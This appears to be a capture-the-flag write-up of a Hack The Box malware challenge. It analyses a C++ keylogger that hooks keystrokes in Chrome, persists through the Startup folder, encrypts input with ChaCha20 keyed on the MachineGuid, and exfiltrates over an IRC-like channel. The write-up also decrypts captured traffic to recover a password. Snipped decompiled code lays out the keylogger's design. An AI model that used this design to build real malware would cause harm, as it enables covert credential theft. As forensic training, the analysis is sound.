Skip to main content

HTB-SneakyKeys

Table of Contents

Difficulty: Medium
OS: Windows
Date: 2026-02-03
Description:

TL;DR
#

This malware is a targeted keylogger written in C++ (MinGW) that monitors specific applications (e.g., Google Chrome). It generates a unique session key from the victim’s MachineGuid, removes dashes to form a 32-byte key, and uses ChaCha20 to encrypt keystrokes. The encrypted data is exfiltrated over a raw TCP connection to a C2 server using an IRC-like protocol, posting into the #key_storrage channel. The malware ensures persistence by copying itself to the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup folder and employs anti-debugging techniques by decrypting critical strings only when no debugger is detected.

initial analysis
#

1$ file *             
2cap.pcapng:     pcapng capture file - version 1.0
3SneakyKeys.exe: PE32+ executable for MS Windows 5.02 (console), x86-64 (stripped to external PDB), 11 sections

imports
#

This malware sample imports a variety of Windows API functions that reveal its capabilities and potential behaviors:

Process and Thread Manipulation
OpenProcess - potential process injection
VirtualProtect - shellcode injection or code unpacking
VirtualQuery - potential process injection

Network (WS2_32.dll) full networking stack for C2 communication

alt text

Keylogging

alt text

strings
#

1172.25.21.54 - hardcoded IP address
2My_dUp3r_sup3r_kon3_n0nc - hardcoded encryption key
3chacha20.h - ChaCha20 stream cipher implementation
4#key_storrage - IRC channel used for keystroke exfiltration

reversing
#

I decompiled the main function and renamed subroutines based on their functionality:

 1__int64 mw_main()
 2{
 3  mw_key_hook();                                       // sets up the keyboard hook
 4  mw_registry(mw_ptr_to_uuid);                         // retrieves MachineGuid
 5  sub_1400B1FC0(qword_14010A260, mw_ptr_to_uuid);      // stores UUID globally
 6  mw_jfree(mw_ptr_to_uuid);
 7  
 8  // decrypts username using static key
 9  mw_antidebug_decrypt(mw_username, 8, &unk_1400D4020); 
10  v0 = sub_1400307D0(mw_username);
11  
12  mw_copy_to_startup_folder();                         // persistence
13  mw_start_irc(v5, qword_14010A260);                   // connects to C2
14}

mw_key_hook() The hook installation confirms the keylogging behavior:

1  hhk = SetWindowsHookExA(13, fn, 0, 0);   // 13 = WH_KEYBOARD_LL

The callback function fn() contains the core logic:
- checks if the active window title contains “Google Chrome”
- If a standard key is pressed, it’s added to a buffer
- If ENTER is pressed, the buffer is encrypted and sent

 1LRESULT __fastcall fn(int code, WPARAM wParam, KBDLLHOOKSTRUCT *lParam)
 2{
 3  if ( !code && (wParam == 256 || wParam == 260) ) // WM_KEYDOWN
 4  {
 5      mw_window_title(v16);                  // captures the active window title for context
 6      mw_antidebug_decrypt(v21, 13, &unk_1400D4040);  // decrypts Google Chrome
 7//...[snip]...
 8      sub_1400CF8B0(v33, v34, " ");
 9      sub_1400CF8B0(v32, v33, "#key_storrage");   // tags the message with the IRC channel
10      sub_1400CF8B0(v31, v32, " :");
11//...[snip]...
12      mw_send(s, v30);
13  }
14  else 
15  {
16    sub_1400B2390(&unk_14010A280, vkCode); // buffer
17  }

cryptography
#

The malware uses ChaCha20 for two purposes with different keys:

config decryption
#

  1. Uses a hardcoded static key found in .data to decrypt strings like “Google Chrome” and C2 commands.
1Key: 4D795F64557033725F73757033725F6B6F6E335F6E306E63291A000000000000
2Nonce: 6F6E335F6E306E63 (on3_n0nc)

keystrokes decryption
#

  1. Uses a dynamic key (UUID) derived from the victim’s machine. The mw_registry() func retrieves MachineGuid from HKLM\SOFTWARE\Microsoft\Cryptography and stored it in qword_14010A260
1//...[snip]...
2  v27 = 45;
3  v26 = sub_1400CDAF0(v5, v4, &v27);              
4  mw_start_uuid = sub_1400AEE90(qword_14010A260);  // qword_14010A260 - UUID
5  mw_end_uuid   = sub_1400AF4B0(qword_14010A260); 
6  sub_1400AD050(v20, mw_end_uuid, mw_start_uuid, &v28);
7  v10 = sub_1400AD020(v20);
8  mw_chacha20(v18, v10, &unk_1400D4010, 0);       // encrypts keystroke with uuid key
9//...[snip]...

persistance
#

mw_copy_to_startup_folder() — achieves persistence by copying the malware executable into the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup folder.

1  if ( SHGetFolderPathA(0, 7, 0, 0, pszPath) )   // 7 = CSIDL_STARTUP
2    return -1;
3  mw_antidebug_crypt(v7, 8, &unk_1400D4028);     // decrypts gg.exe
4//...[snip]...
5  if ( GetModuleFileNameA(0, Filename, 0x104u) ) 
6  {
7    if ( CopyFileA(Filename, v2, 0) )             // copies self → Startup\gg.exe

communication with c2
#

mw_start_irc() — connects to the C2 server over a raw TCP socket and communicates using a lightweight IRC-like protocol. The client registers itself using the victim’s MachineGuid as the nickname, then enters a loop that receives commands and sends encrypted keystroke data into the #key_storrage channel.

decryption
#

Analysing the PCAP capture we identified Alice’s IRC session. Her client registered with the following nickname and user string, which exposes her full MachineGuid:

1NICK ALICE_9d9a51bf
2USER ALICE_9d9a51bf 0 * :Client with id:9d9a51bf-b38f-4964-99ad-31c1249d5a70

The MachineGuid is 9d9a51bf-b38f-4964-99ad-31c1249d5a70. Stripping dashes gives the 32-byte ChaCha20 key: 9d9a51bfb38f496499ad31c1249d5a70. The nonce is the hardcoded on3_n0nc. Several encrypted keystroke messages were captured in the #key_storrage channel:

1PRIVMSG #key_storrage :0b8fda0526231ab7
2PRIVMSG #key_storrage :0e8bca69d22f1db404802cc6eb5234fbd7598f71914d74a386e6ddd55b3eb005c78c4d4a75fa6b519b196ea9d85438001d244e06b8401b
3PRIVMSG #key_storrage :0b97b31ed73211aa768c5fd4862226edca4a896d924d64bff387c5d45128a113c5
4PRIVMSG #key_storrage :1681c01dcb2307b3749d2ccce337379ed049e67d93397aa99688a9c841

The following Python script decrypts the messages using PyCryptodome:

1from Crypto.Cipher import ChaCha20
2key   = "9d9a51bfb38f496499ad31c1249d5a70".encode('utf-8')
3nonce = b"on3_n0nc"
4cipher = ChaCha20.new(key=key, nonce=nonce)
5
6ciphertext = bytes.fromhex("0b97b31ed73211aa768c5fd4862226edca4a896d924d64bff387c5d45128a113c5")
7print(cipher.decrypt(ciphertext))
1$ python3 dec.py
2b'MY WORDPRESS PASSWORD IS ALICE1SO'